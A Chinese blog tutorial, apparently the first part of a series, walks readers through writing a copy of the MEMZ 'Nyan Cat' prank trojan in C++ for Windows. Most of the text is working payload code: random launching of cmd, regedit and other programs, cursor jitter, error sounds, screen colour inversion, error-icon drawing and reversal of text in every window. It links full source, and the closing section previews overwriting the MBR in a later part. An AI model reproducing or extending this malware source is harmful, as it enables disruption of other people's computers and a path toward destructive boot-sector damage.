MEMZ病毒

“MEMZ是一种存在于微软Windows操作系统中的自制木马病毒,原本是为了Danooct1的“观赏性恶意软件”视频系列和嘲讽那些“玩具病毒”而制作。因其高度复杂和独特的感染特征(大多与网络相关)备受关注和责骂。普遍认为是一款恶作剧病毒”

(选自Malware Wiki-MEMZ)

MEMZ病毒也叫“彩虹猫病毒”,因感染此病毒后重启电脑就会显示彩虹猫图片以及与其搭配的魔性音乐《Nyan Cat》而得名。

接下来我就会仿照MEMZ病毒自己制作一个小病毒,在正式开始之前我们先看看它的发病过程。

全程如下:

彩虹猫发病全过程

我们可以粗略的将病毒分为两块,一块处理感染病毒后到电脑重启前的病毒效果,第二块负责使电脑重启后显示彩虹喵。

下面是官方介绍的过程:

“其他感染阶段”将不做介绍,所以我们需要实现的功能有"打开文本文档···”,“随机打开(搜索)网页、应用程序”等12个基本功能,也就是如下功能

本片文章将先实现红框框内的内容。现在已经有了一个明确的方向,可以开始动手写代码了。

环境

我本次使用的是vs2017

先新建一个win32项目,也就是“Windows 桌面向导”

项目名就叫“Easy_MEMZ”

然后在出现的框框里选择“桌面应用程序(.exe)”和“空项目”

然后我们可以创建文件来写代码

这样一个简单的win32环境就搭建完成了。

实现“真”的伪随机数

众所周知,计算机通过算法生成的随机数都是伪随机数。MEMZ病毒中有很多操作都需要用到随机数,而C++里的rand库函数有很大的局限性,比如实现每次都是“真”的随机数需要使用srand函数提供种子,有时还会有一些特殊的情况发生,所以rand函数并不适合MEMZ病毒的运行。

接下来就是一种全新的方法实现生存随机数,直接上代码

//
//main.cpp
//#include <Windows.h>HCRYPTPROV prov;//生成随机数
int random() {if (prov == NULL)if (!CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_FULL, CRYPT_SILENT | CRYPT_VERIFYCONTEXT))ExitProcess(1);int out;CryptGenRandom(prov, sizeof(out), (BYTE *)(&out));return out & 0x7fffffff;
}int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE PrevhInstance, LPSTR lpCmdLine, int nCmdShow)
{return 0;
}

上面的random函数就是MEMZ病毒源码中实现生成随机整数的代码,至于原理有点生僻,这里不做介绍,直接ctrl+c,ctrl+v拿去用就行了

MEMZ源码在github上有,我会在文章末尾放上连接。

随机打开(搜索)网页、应用程序

这个功能比较简单,原理就是先将一些程序的名字(如cmd,explorer)放进一个字符串数组,然后通过随机数随机选取一个程序并运行它。

下面是代码实现

//
//main.cpp
//#include <Windows.h>#define         MAX_EXECUTE         8HCRYPTPROV prov;//定义需要随机打开的程序
LPCWSTR lpExecuteName[MAX_EXECUTE] = {L"calc",        //计算器L"cmd",         //命令提示符L"explorer",    //资源管理器L"mspaint",     //画图L"taskmgr",     //任务管理器L"regedit",     //注册表L"write",       //写字板L"credwiz"     //用户工具
};...//打开随机程序
void PlayloadExecute()
{//获取桌面窗口的句柄HWND hDesktop = GetDesktopWindow();//打开任意程序ShellExecute(hDesktop, L"open", lpExecuteName[random() % MAX_EXECUTE], NULL, NULL, SW_SHOWNORMAL);
}int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE PrevhInstance, LPSTR lpCmdLine, int nCmdShow)
...

(注:以上代码为不完整代码,“...”意为省略部分代码)

ShellExecute函数 比较简单,此处作用是打开程序,其中“random() % MAX_EXECUTE”意为生成范围是0~(MAX_EXECUTE-1)的随机整数,也就是生成随机索引指定随机的程序。

接下来我们可以使用一下它

...int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE PrevhInstance, LPSTR lpCmdLine, int nCmdShow)
{PlayloadExecute();return 0;
}

多次运行可以发现每次都是启动不同的程序,主页我们就实现了这个简单的功能

鼠标指针的移动

鼠标指针的移动,也就是鼠标震动(乱动),效果如下

它的原理非常简单,就是取当前光标位置的x,y值然后给它们任意加上或减去任意值,再将光标位置设置为改动后的位置,具体实现如下

...
#define         MAX_EXECUTE         8
//光标抖动频率
int cursor_freq = 0;
HCRYPTPROV prov;...ShellExecute(hDesktop, L"open", lpExecuteName[random() % MAX_EXECUTE], NULL, NULL, SW_SHOWNORMAL);
}
//光标抖动
void PlayloadCursor()
{//获取当前光标位置POINT cursor;GetCursorPos(&cursor);//设置光标位置SetCursorPos(cursor.x + (random() % 3 - 1) * (random() % (cursor_freq / 2200 + 2)), cursor.y + (random() % 3 - 1) * (random() % (cursor_freq / 2200 + 2)));
}int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE PrevhInstance, LPSTR lpCmdLine, int nCmdShow)...

GetCursorPos函数和SetCursorPos函数都比较简单,这里只需要解释下面这一句

SetCursorPos(cursor.x + (random() % 3 - 1) * (random() % (cursor_freq / 2200 + 2)), cursor.y + (random() % 3 - 1) * (random() % (cursor_freq / 2200 + 2)));

首先设置光标的新横坐标为

cursor.x + (random() % 3 - 1) * (random() % (cursor_freq / 2200 + 2))

random() % 3 - 1 意为随机生成范围为 -1~1 的随机数,设其为A段

random() % (cursor_freq / 2200 + 2) 意为生成 0~(cursor_freq / 2200 + 2)-1 的随机数,设其为B段

A段的作用就是规定光标向左偏移(-1)还是向右偏移(1)还是不动(0)

而B段的作用是规定光标偏移的大小(震动的幅度),由cursor_freq的值决定,cursor_freq越大光标震动的幅度越大,+ 2是为了防止cursor_freq 未达到2200使B段都一直为0,使光标不进行偏移,2200可以随意更改。

A段乘B段的结果就是光标的偏移大小,当前光标位置加上偏移大小就是新的光标位置

设置纵坐标同理。

如果你没有看懂上面这段,请再仔细读一遍,如果实在看不懂,那么请先学习或巩固一下C++随机数的基础知识和小学数学

错误的提示声效

它的原理和“随机打开(搜索)网页、应用程序”的原理大同小异,甚至比它还要简单,就是将一些提示音的名字放入一个列表,再随机取出一个用 PlaySound函数 播放(PlaySound函数可以直接传入提示音名播放提示音),代码如下

...
#define         MAX_EXECUTE         8
#define         MAX_SOUNDS          3int cursor_freq = 0;...L"credwiz"     //用户工具
};
//提示音列表
LPCWSTR lpSoundsName[MAX_SOUNDS] = {L"SystemHand",L"SystemQuestion",L"SystemExclamation"
};//生成随机数
int random()
...//设置光标位置SetCursorPos(cursor.x + (random() % 3 - 1) * (random() % (cursor_freq / 2200 + 2)), cursor.y + (random() % 3 - 1) * (random() % (cursor_freq / 2200 + 2)));
}
//错误的提示声效
void PlayloadSound()
{//播放随机提示音PlaySound(lpSoundsName[random() % MAX_SOUNDS], GetModuleHandle(NULL), SND_SYNC);
}int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE PrevhInstance, LPSTR lpCmdLine, int nCmdShow)
...

因为过于简单句不过多赘述。

颜色反转

就是反转桌面颜色,效果如下

实现该效果的原理也很简单就是使用 BitBlt函数 将桌面的颜色反转,具体操作如下

...
#define         MAX_SOUNDS          3//PlaySound函数需要Winmm.lib库文件
#pragma comment(lib, "Winmm.lib")int cursor_freq = 0;
...
...//播放随机提示音PlaySound(lpSoundsName[random() % MAX_SOUNDS], GetModuleHandle(NULL), SND_SYNC);
}
//颜色反转
void PlayloadBlink()
{//获取窗口句柄HWND hDesktop = GetDesktopWindow();//获取窗口dcHDC hdc = GetWindowDC(hDesktop);//获取桌面窗口信息RECT rekt;GetWindowRect(hDesktop, &rekt);//将屏幕颜色反转BitBlt(hdc, 0, 0, rekt.right - rekt.left, rekt.bottom - rekt.top, hdc, 0, 0, NOTSRCCOPY);//释放dcReleaseDC(hDesktop, hdc);
}int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE PrevhInstance, LPSTR lpCmdLine, int nCmdShow)
...

BitBlt函数最后一个参数填“NOTSRCCOPY”意为“将倒置源矩形复制到目标”,也就是将颜色反转,本质就是将rgb颜色里的r和b交换一下变成bgr,再把它当做rgb

如果看不懂没关系,只要知道它能够反转颜色就行了

绘制错误图标

效果如下(颜色反转+错误图标)

它分成两部分,一是错误图标跟着光标一起动,二是绘制在桌面上的错误图标,其原理也很简单,就是使用 DrawIcon函数 绘制错误图标,具体操作如下

...
//释放dcReleaseDC(hDesktop, hdc);
}
//绘制错误图标
void PlayloadIcon()
{//获取桌面宽int iDesktopWidth = GetSystemMetrics(SM_CXSCREEN);//获取桌面高int iDesktopHeight = GetSystemMetrics(SM_CYSCREEN);//获取窗口句柄HWND hDesktop = GetDesktopWindow();//获取窗口dcHDC hdc = GetWindowDC(hDesktop);//获取光标位置POINT cursor;GetCursorPos(&cursor);//在光标位置处画错误图标DrawIcon(hdc, cursor.x - 10, cursor.y - 10, LoadIcon(NULL, IDI_ERROR));//在屏幕随机位置画上警告图标if (random() % 3 == 0)       //取随机数,如果此数能被3整除则在屏幕上任意位置画一个警告标志DrawIcon(hdc, random() % iDesktopWidth, random() % iDesktopHeight, LoadIcon(NULL, IDI_WARNING));
}int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE PrevhInstance, LPSTR lpCmdLine, int nCmdShow)
...

比较简单就不多说什么了

大部分的文字会被反转(反转≈翻转)

这可能是本片文章唯一一个有点复杂的功能,它的原理是使用 EnumChildWindows函数 枚举所有子窗口并通过 WM_GETTEXT消息 获取其文本并将其反转再通过 WM_SETTEXT消息 将已反转的文字重新设置到子窗口上

代码实现如下

...DrawIcon(hdc, random() % iDesktopWidth, random() % iDesktopHeight, LoadIcon(NULL, IDI_WARNING));
}//文本翻转
BOOL ReverseTCHAR(TCHAR* lpSrc)
{//获取字符串长度int size = lstrlenW(lpSrc);//如果为0就返回falseif (size == 0)return FALSE;/*将第一个字符先赋值给临时变量wchar,再将最后一个字符赋值给第一个字符,使第一个字符变成最后一个字符,再将wchar里的字符赋值给最后一个字符,重复此操作使字符串反转*/TCHAR wchar = 0;for (int i = 0; i < (size / 2); i++)// i < (size / 2) 是为了防止二次反转,如果不懂拿个草稿纸自己写一下反转全过程就会明白了{wchar = lpSrc[i];lpSrc[i] = lpSrc[size - i - 1];lpSrc[size - i - 1] = wchar;}return TRUE;
}
//枚举所有子窗口的回调函数
BOOL CALLBACK EnumChildProc(HWND hwnd, LPARAM lParam) {TCHAR str[8192] = { 0 };//发送WM_GETTEXT获取标题文本if (SendMessageTimeoutW(hwnd, WM_GETTEXT, 8192, (LPARAM)str, SMTO_ABORTIFHUNG, 100, NULL)) {//反转文本ReverseTCHAR(str);//发送WM_SETTEXT重新设置标题文本SendMessageTimeoutW(hwnd, WM_SETTEXT, NULL, (LPARAM)str, SMTO_ABORTIFHUNG, 100, NULL);}return TRUE;
}
//文字反转
void PlayloadChangeText()
{//枚举所有子窗口EnumChildWindows(GetDesktopWindow(), &EnumChildProc, NULL);}int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE PrevhInstance, LPSTR lpCmdLine, int nCmdShow)
...

我想我的注释已经讲的够详细了,如果看不懂请先去学习或巩固一下win32的知识和 EnumChildWindows函数 的用法。

结束

本篇文章已经结束,其他的放到下一篇文章来讲吧。

后面的功能会越来越高级,同时也会越来越难,尤其是修改MBR使其发声和播放动画,甚至涉及到了汇编的一亿些知识,同时我因为学业紧张,下一次更新可能是暑假了qwq

如果有不懂的地方或本文哪里有错误欢迎私信告诉我

本片完整代码(会随着进度更新):https://github.com/Bluepuzhuong/Easy_MEMZ

MEMZ病毒源码:GitHub - NyDubh3/MEMZ: A trojan made for Danooct1's User Made Malware Series.

用C++自制一个病毒(1)相关推荐

  1. 自制一个 elasticsearch-spring-boot-starter

    概 述 Elasticsearch 在企业里落地的场景越来越多了,但是大家在项目里使用 Elasticsearch的姿势也是千奇百怪,这次正好自己需要使用,所以干脆就封装一个 elasticsearc ...

  2. 听音乐不过瘾?自制一个音乐播放器!| 原力计划

    作者 | 灰小猿 责编 | 夕颜 出品 | CSDN博客 最近在学习C#的GUI编程时想着自制一个播放器,说干就干. 其实C#除了在游戏开发上具有显著优势以外,在winform交互页面设计和web网站 ...

  3. 自制一个交叉适配器来检修网络设备(转)

    自制一个交叉适配器来检修网络设备(转) 当你在检修级联路由器/集线器/开关的连接问题时,你可能想检查一下是不是可能交叉电缆有问题.但是正好,你手边没有多余的交叉电缆可以用来做一个快速的测试. 我最近发 ...

  4. 如何利用Python写一个病毒,去逗逗室友!毕竟他新买的电脑

    文仅供学习和测试,请勿用于非法用途. 前言 花了挺长时间去开发的,中间有很多包是抄的,比如DDL注入.关于opencv等等,主要其实做了一些拼接.打包.部署. 写这篇博客并不真的想去写病毒攻击别人,而 ...

  5. 用小机器人 Automator 自制一个批量处理图片软件的方法

    工作或者生活当中有些时候需要我们批量处理图片,把几十个上百个图片的大小按照百分比或者规定像素来调整,这个时候要是一张一张的改可麻烦死了,之前可能大家都用过类似的批量处理图片的软件吧,这次我们利用Mac ...

  6. python推箱子小游戏_小伙利用Python自制一个推箱子小游戏!

    原标题:小伙利用Python自制一个推箱子小游戏! 导语 月初更波python制作小游戏系列吧用python写了个推箱子小游戏,在这里分享给大家,让我们愉快地开始吧 小伙利用Python自制一个推箱子 ...

  7. 自制一个指纹锁需要怎么做

    要自制一个指纹锁,你需要准备以下物品: 一块可编程的微控制器板,如 Arduino 或 Raspberry Pi. 一个指纹识别模块,可以在电子商店或者网上购买. 一个可以用来锁上的物品,如一个箱子或 ...

  8. 转载一个病毒programguide,过后给大家写下感想,学8086时,写过com病毒

    Billy Belceb病毒编写教程---DOS篇(基础理论)                                     翻译:onlyu[FCG][DFCG] [译者声明]       ...

  9. 听音乐不过瘾?自制一个音乐播放器!【附带函数源码】

    C#的音乐播放器是基于C#窗体程序而设计开发,是学习C#winform开发的一个较好的实战项目.本文讲解了音乐播放器的基本控件的函数编写及开发思路 函数目录 打开音乐文件控件函数 双击音乐触发播放属性 ...

最新文章

  1. 二叉排序树(BST)构造与应用
  2. js基础语法知识(数组/对象/日期)
  3. 源码解读_Go Map源码解读之Map迭代
  4. java range类_Java即时类| range()方法与示例
  5. 信息学奥赛一本通 1003:对齐输出 | OpenJudge NOI 1.1 03
  6. ubuntu保存_Arch与Ubuntu安装软件对比
  7. python是什么语言-python底层是什么语言
  8. Visual Studio 2008 可扩展性开发(八):关于用户界面的种种(上)
  9. Java的GUI的学习五(窗体事件)
  10. iOS软件开发揭密:iPhoneiPad企业应用和游戏开发(china-pub首发)
  11. 海康人脸服务器型号,DS-2CD7A27FWD/F-LZ(S) 海康人脸识别摄像机 海康200万像素深眸智能人脸日夜筒型网络摄像机...
  12. ubuntu下各种软件下载
  13. 带无线驱动的linux版本,CentOS 5.6 上安装支持802.11b/g无线网卡驱动具体过程
  14. (2010计本3班-杨蒙)面向对象的C--实现链表操作
  15. 怎么压缩gif图大小?试试这个图片压缩攻略
  16. spark streamming + kafka + Redis 实践
  17. 工学结合2019/9/17
  18. bugku上Snowfall解题过程
  19. 初识C++之智能指针
  20. 重拾Java基础知识:IO流

热门文章

  1. Python爬虫采集抓取:Python3.x+Fiddler 采集抓取 APP 数据
  2. php向文件中写一行 换行,如何实现php向文件中写入换行
  3. OpenGL笔记:观察坐标系(模型视图矩阵)、投影变换
  4. 区块链改写P2P网贷监管格局
  5. 合并列值(将一列的多个值合并成一行)
  6. Python 根据两列/多列合并数据表
  7. 使用top做sql分页
  8. 批量修改系统bios选项(dell适用)
  9. 0001 零基础Maya插件开发——Python+Qtdesigner环境搭建
  10. 长沙尚学堂python培训学校